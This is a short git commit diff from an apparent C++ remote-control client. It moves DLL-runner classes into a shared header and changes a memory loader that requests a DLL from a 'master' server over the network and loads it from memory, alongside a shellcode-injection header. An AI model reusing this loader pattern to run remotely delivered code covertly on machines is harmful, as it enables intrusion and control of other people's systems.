Reserve for running customized module in future

This commit is contained in:
yuanyuanxiang
2025-05-29 23:13:46 +08:00
parent e54a5656b7
commit 1e0cfe85b8
17 changed files with 1833 additions and 90 deletions

View File

@@ -4,6 +4,7 @@
#include "ShellcodeInj.h"
#include <WS2tcpip.h>
#include <common/commands.h>
#include "common/dllRunner.h"
#pragma comment(lib, "ws2_32.lib")
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -113,32 +114,6 @@ typedef struct PkgHeader {
}
}PkgHeader;
// A DLL runner.
class DllRunner {
public:
virtual void* LoadLibraryA(const char* path) = 0;
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
virtual BOOL FreeLibrary(void* mod) = 0;
};
// Default DLL runner.
class DefaultDllRunner : public DllRunner {
private:
HMODULE m_mod;
public:
DefaultDllRunner() : m_mod(nullptr) {}
// Load DLL from the disk.
virtual void* LoadLibraryA(const char* path) {
return m_mod = ::LoadLibraryA(path);
}
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
return ::GetProcAddress(m_mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
return ::FreeLibrary(m_mod);
}
};
// Memory DLL runner.
class MemoryDllRunner : public DllRunner {
protected:
@@ -239,7 +214,7 @@ public:
return buffer;
}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path) {
virtual void* LoadLibraryA(const char* path, int len=0) {
int size = 0;
auto buffer = ReceiveDll(size);
if (nullptr == buffer)